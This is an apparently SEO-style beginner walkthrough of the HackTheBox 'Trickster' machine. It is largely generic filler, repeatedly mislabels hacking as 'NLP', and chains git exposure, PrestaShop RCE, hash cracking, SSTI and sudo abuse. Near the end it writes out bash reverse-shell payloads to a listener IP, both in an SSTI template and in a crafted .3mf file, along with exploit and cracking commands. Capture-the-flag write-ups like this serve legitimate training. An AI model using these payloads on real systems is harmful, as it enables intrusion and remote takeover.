Beginner’s Guide to Conquering Trickster on HackTheBox

Key Highlights

• Discover how Trickster on HackTheBox is a beginner-friendly challenge with a manageable learning curve.
• Learn the essential tools and resources required to tackle Trickster effectively, including Nmap, Burp Suite, VPN, and proxy.
• Understand the key skills and knowledge needed to conquer Trickster, such as enumeration, dealing with IP addresses, and authentication.
• Follow a step-by-step guide that covers initial reconnaissance, identifying vulnerabilities, exploiting them, gaining access, and capturing the flag.
• Gain insights on analyzing your approach post-conquest to improve your hacking skills and progression in the HackTheBox community.

Introduction

Embark on your HackTheBox journey with Trickster, a challenging yet rewarding entry point for beginners. Dive into the world of cybersecurity and hone your skills by conquering this virtual challenge. Learn to navigate through source code, analyze page sources, and master IP addresses. Prepare to unravel the complexities of file uploads, JavaScript vulnerabilities, and more. Get ready to explore the realms of hacking with Trickster as your guide. Let the adventure begin!

Understanding the Basics of HackTheBox

HackTheBox is a platform that promotes cybersecurity learning through real-world challenges. As a beginner, grasping the fundamental concepts is crucial. Trickster, a HackTheBox challenge, provides a great starting point. Mastering IP addresses, source codes, and file uploads is essential. Utilize tools like Burp Suite for interception and analysis. Understanding key terms such as plaintext, binary, and authentication is vital. By immersing yourself in the basics, you lay a solid foundation for your hacking journey.

What is HackTheBox?

HackTheBox is an online platform that offers a range of cybersecurity challenges for individuals to enhance their penetration testing skills. It provides a simulated environment where users can practice real-world hacking scenarios ethically.

Why Trickster is a Must-Try for Beginners

HackTheBox’s Trickster is an essential challenge for beginners due to its diverse learning opportunities. By engaging with Trickster, novices can enhance their skills in recon, exploit identification, and privilege escalation. It provides a practical platform for understanding concepts like source code analysis, file uploads, and password cracking. Additionally, Trickster offers a hands-on experience in analyzing vulnerabilities and exploiting them, crucial for aspiring ethical hackers. This challenge equips beginners with foundational knowledge and practical experience, making it a must-try on their NLP journey.

ALSO READ: Mastering Caption: Beginner’s Guide from HackTheBox

Preparing for Your HackTheBox Journey

Before embarking on your HackTheBox journey, equip yourself with essential tools like Burp Suite for intercepting and analyzing traffic. Setting up your environment with a VPN ensures secure connections. Familiarize yourself with reconnaissance tools like Nmap for scanning IP addresses and directories. Understanding source code, especially for web apps, is crucial. Docker can simulate varied environments for testing. Practice file uploads for challenges involving binaries or images. Stay updated on relevant technologies like PHP, HTML, and CSS for solving challenges effectively.

Essential Tools and Resources

Burp Suite for intercepting traffic, Nmap for recon, and Python for scripting are key tools. Utilize VPNs for secure connections, Docker for isolated environments, and GitHub for code repositories. Understand HTTP, HTML, and CSS for web exploits. Familiarize yourself with SQL for database hacks and use Node for server-side scripting. Master plaintext, hashes, and binary exploitation for password cracking. Employ directory brute-forcing with GoBuster. These resources will enhance your HackTheBox journey significantly.

Setting Up Your Environment

To embark on your HackTheBox journey, setting up your environment is crucial. Ensure you have the necessary tools like Burp Suite for intercepting traffic and Nmap for recon. Use a VPN for secure connections. Familiarize yourself with browsing securely, handling source code, and uploading files. Configure your workspace with tools like Docker for isolation. Mastering these basics will streamline your experience and enhance your skills for tackling challenges effectively.

Getting to Know Trickster

The Trickster challenge on HackTheBox introduces participants to a complex puzzle that tests their problem-solving skills. Understanding the challenge’s intricacies involves a deep dive into the tricks and techniques of the task. To successfully conquer Trickster, familiarity with basic hacking concepts is crucial. This challenge often involves exploiting vulnerabilities, so a solid grasp of source code analysis and application of various tools like Burp Suite are advantageous. Trickster is not just a test of skills; it’s an opportunity to enhance your hacking capabilities and learn new techniques.

Overview of the Trickster Challenge

Trickster presents a multi-faceted challenge that tests your skills in reconnaissance, vulnerability identification, exploitation, access, and privilege escalation. The challenge involves navigating through various layers of security controls to ultimately capture the flag. It requires a deep understanding of web application security, including file uploads, JavaScript, and authentication mechanisms. Trickster may incorporate elements like source code analysis, server-side scripting, and database manipulation to push your boundaries in penetration testing. Success in Trickster will enhance your expertise in NLP and reinforce your cybersecurity knowledge.

Skills and Knowledge Required

To successfully tackle Trickster on HackTheBox, familiarity with basic NLP concepts is indispensable. Proficiency in concepts such as recon, binary exploitation, password cracking, and privilege escalation will provide a solid foundation. Understanding how to analyze source code, intercept traffic using tools like Burp Suite, and navigate through file structures are essential skills. Furthermore, knowledge of networking protocols, scripting languages like Python, and the ability to interpret server responses will greatly aid in your conquest of Trickster. Happy hacking!

Step-by-Step Guide to Conquering Trickster

To conquer Trickster, follow these steps: Begin with initial reconnaissance and enumeration to gather information. Identify vulnerabilities in the system, then exploit them. Gain access and escalate privileges. Lastly, capture the flag to complete the challenge successfully. By following this structured approach, navigating through Trickster becomes more manageable and rewarding. Each step plays a crucial role in honing your skills and understanding the intricacies of penetration testing. Stay focused and persistent throughout the process to overcome Trickster effectively.

Step 1: Initial Reconnaissance and Enumeration

Before diving into the Trickster challenge on HackTheBox, start with the initial reconnaissance and enumeration phase. Utilize tools like Nmap to scan for open ports, services running, and discover potential vulnerabilities. Check the page source for hidden information, like credentials or hints. Explore subdomains and directories for valuable data. Understanding the target’s IP address and right areas to focus on is crucial in this phase. This groundwork forms the foundation for successful penetration testing. Be thorough and meticulous to gather all necessary information efficiently.

Rustscan

Let’s start by conducting a comprehensive scan of the machine to identify any open ports. This initial reconnaissance step is crucial as it reveals the services running on the target system, helping us determine potential entry points for further exploitation.

The scan shows the following:

• Discovered Open Ports:
  • Port 80/tcp: Open on 10.10.11.34
  • Port 22/tcp: Open on 10.10.11.34
• Service Details:
  • Service on port 80: Detected as trickster.htb running on 10.10.11.34

This indicates that port 80 is open and hosting a service identified as “trickster.htb” on the target IP.

While exploring the Trickster’s main domain during the reconnaissance phase of this CTF box, I discovered an intriguing subdomain that appeared to host a shopping platform, shop.trickster.htb. This finding opened up a new attack surface that wasn’t immediately apparent from the primary site itself.

While exploring the shop, I noticed that its structure and design strongly resembled a PrestaShop setup. PrestaShop is a popular open-source e-commerce platform that has had various vulnerabilities reported in the past. However, as I delved deeper into known exploits, it became clear that most publicly available vulnerabilities were either patched or inapplicable to the current setup of this CTF box. Instead, I had to pivot my approach by analyzing the underlying architecture, focusing on misconfigurations or other entry points that might not rely on PrestaShop-specific vulnerabilities but could still lead to privilege escalation.

Trickster.HTB Shop

While testing various injection points in the shop module, I didn’t uncover any immediate vulnerabilities. I checked for SQLi, XSS, and even some CSRF possibilities, but nothing seemed to budge. However, during a closer inspection and some directory traversal, I stumbled upon the .git directory exposed on the server.

Shop.Trickster.HTB Git Repo Contents

Utilizing the GitHack tool by lijiejie, which exploits .git folder disclosures, provided a straightforward way to retrieve sensitive information. GitHack automates the process of downloading the exposed .git directory from a web server, allowing you to reconstruct the project’s source code locally.

Using this as a foothold, I accessed the backend login interface by navigating through the directory structure. From there, I executed a few targeted requests to gather version information, eventually confirming that the PrestaShop version in use was 8.1.5.

While exploring the .git directory on the target system, I stumbled upon a hidden clue that led me to the admin_pannel directory. Digging deeper into the repository’s history, I noticed some interesting user entries—one of them being an adam user. This discovery hinted at potential hard-coded credentials or privileged access associated with this user, which could be instrumental in escalating our privileges.

PrestaShop Exploitation

Git Repository Leak

Discovered exposed .git directory via ffuf scan: ffuf -w raft-small-words.txt -u http://shop.trickster.htb/FUZZ

Dumped using git-dumper revealing admin panel path:./git-dumper-linux http://shop.trickster.htb/.git/

Step 2: Identifying Vulnerabilities

Scanning the source code and page source can reveal critical vulnerabilities. Look for exposed IP addresses or files allowing for potential exploits. File upload functionalities might harbor risks like executing malicious scripts like JavaScript. Leveraging tools like Burp Suite to intercept and analyze HTTP requests can unveil weaknesses. Check for any admin directories or insecure protocols that could lead to unauthorized access. Identifying common security flaws like SQL injections or plaintext credentials is paramount before proceeding to exploit them. Stay vigilant for potential flaws in authentication mechanisms for a successful hack.

Admin Panel Access:

Found admin path /admin634ewutrx1jgitlooaj in commit history

Exploited CVE-2024-34716 (XSS + Theme Upload RCE): python3 exploit.py -u http://shop.trickster.htb -l 10.10.14.145 -p 12345

Step 3: Exploiting the Vulnerabilities

To exploit the vulnerabilities in Trickster on HackTheBox effectively, delve into the source code and page source for clues. Identify potential weak points like insecure file uploads or JavaScript flaws. Utilize tools such as Burp Suite to intercept and analyze traffic. Look for any exposed APIs or misconfigurations that could be manipulated. By understanding the application’s logic, you can craft strategic attacks to exploit these vulnerabilities successfully. Combine your skills in reconnaissance and exploitation to navigate through the challenge and conquer Trickster.

Lateral Movement to James

Database Credential Extraction:

Located MySQL credentials in /app/config/parameters.php:php'database_user' => 'ps_user', 'database_password' => '**********'

Dumped password hashes from ps_employee table:textadmin@trickster.htb:$2a$04$... james@trickster.htb:$2a$04$...

Hash Cracking:

Cracked james’ hash with rockyou.txt:bashhashcat -m 3200 -a 0 hash.txt rockyou.txt

SSH access obtained:bashssh james@trickster.htb

Step 4: Gaining Access and Privilege Escalation

To gain access and escalate privileges in Trickster, focus on exploiting vulnerabilities. Use techniques like analyzing source code, intercepting requests with Burp Suite, and exploiting weak credentials. Try uploading malicious files, manipulating cookies, or injecting code. Look for exposed directories or misconfigurations. Utilize tools like Nmap to identify open ports and services. Once a vulnerability is identified, leverage it to gain a foothold and escalate privileges to reach the target area.

Docker Escape & Root Access

Container Discovery:

Identified Docker network:bashifconfig # Shows docker0 interface for ip in {1..16}; do ping 172.17.0.$ip; done

ChangeDetection.io Exploitation:

Port forwarded Docker container (172.17.0.2:5000):bashssh -L 5000:172.17.0.2:5000 james@trickster.htb

Exploited SSTI (CVE-2024-32651) in notification body:python{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.145/9999 0>&1"').read()}}

Intended Privilege Escalation:

Found backup archives containing brotli-compressed credentials:bashbrotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br

SSH as adam with discovered credentials:bashssh adam@trickster.htb

Sudo Privilege Abuse:

Exploited prusaslicer binary:bashsudo /opt/PrusaSlicer/prusaslicer -s malicious.3mf

Crafted .3mf file executing reverse shell:xml<config> <post_process> echo "bash -i >& /dev/tcp/10.10.11.111/9999 0>&1" | bash </post_process> </config>

Step 5: Capturing the Flag

Once you’ve successfully exploited the vulnerabilities and gained access, your final challenge in Trickster on HackTheBox is capturing the flag. This pivotal moment marks your victory in the simulation. To capture the flag, locate and extract the designated flag file containing the predetermined text or code. The flag is your ultimate proof of a successful hack. Remember, capturing the flag signifies not just your technical expertise but also your problem-solving skills in the realm of cybersecurity. Good luck!

Key Attack Vectors

Vulnerability Chain:

Exposed Git → Credential Leak → PrestaShop RCE → Container Escape → Sudo Privilege Escalation

Critical Findings:

Improper git repository protection

Hardcoded database credentials

Insecure sudo permissions (prusaslicer)

Outdated software with known CVEs

After Conquering Trickster

After mastering the Trickster challenge, take time to analyze your methods and findings. Reflect on your approach to uncover insights for future engagements. Consider exploring other HackTheBox challenges to further enhance your skills and knowledge in the realm of cybersecurity. Continuously learning and evolving is key in this dynamic field. Stay curious and persistent in your quest for knowledge and expertise.

Analyzing and Learning from Your Approach

After conquering Trickster, analyzing your approach is crucial for growth. Review your source code, page source, and network traffic using tools like Burp Suite. Examine your IP addresses, directories explored, and uploaded files for insights. Identify areas where you excelled or faced challenges. Evaluate your enumeration and exploitation techniques. Understand how your tactics led to success or areas needing improvement. Share your findings with the community, discuss strategies, and learn from others’ experiences. This reflective process enhances your skills for future challenges.

Next Steps in Your HackTheBox Journey

Now that you’ve conquered Trickster, the next steps in your HackTheBox journey involve honing your skills further. Explore more challenging boxes to enhance your expertise. Delve into scripting with Python for automation tasks, or mastering Burp Suite for advanced web application testing. Engage in the HTB community, participate in write-ups, and attend cybersecurity workshops to stay updated. Also, consider pursuing certifications like OSCP to validate your penetration testing skills. Continuous learning and practice will propel you towards becoming a proficient ethical hacker.

ALSO READ: Mastering Sightless: Beginner’s Guide from HackTheBox

Conclusion

In conclusion, mastering Trickster on HackTheBox is a significant milestone for any aspiring cybersecurity enthusiast. It offers a hands-on experience in applying NLP terms like source code and IP addresses, enhancing your understanding of hacking concepts. Reflect on your approach post-conquest, learn the necessary skills, and continue exploring other challenges on the platform. Embrace each step as a learning opportunity, leading you towards honing your skills in ethical hacking and reconnaissance techniques. Stay curious, persistent, and adaptable in this ever-evolving cybersecurity landscape.

Frequently Asked Questions

What if I Get Stuck on a Step?

Seek help from online forums, watch walkthroughs, or request nudges from the HackTheBox community. Exhaust resources like write-ups and Discord channels to gain insights and overcome obstacles. Remember, perseverance is key in navigating challenges effectively.

How Long Does It Typically Take to Conquer Trickster?

Conquering Trickster on HackTheBox usually takes beginners a few days to weeks, depending on their familiarity with cybersecurity concepts. Patience and persistence are key to mastering this challenge. Practice and learning from each attempt can significantly reduce the time taken.

Can Trickster be Solved by Absolute Beginners?

Trickster on HackTheBox can be challenging for absolute beginners due to its complexity. However, with dedication and perseverance, even newcomers can conquer Trickster by following a structured approach and leveraging available resources effectively.

What Should I Do After Completing Trickster?

After completing Trickster, take time to analyze your approach, learn from the experience, and consider the next steps in your HackTheBox journey. Reflect on the challenges faced, techniques used, and knowledge gained to enhance your skills further.

Where Can I Get Help If I Need It?

If you need assistance while attempting Trickster on HackTheBox, turn to online forums like the HackTheBox community, official write-ups, or seek guidance from seasoned hackers. Utilize platforms such as Discord for real-time help and discussions with fellow enthusiasts.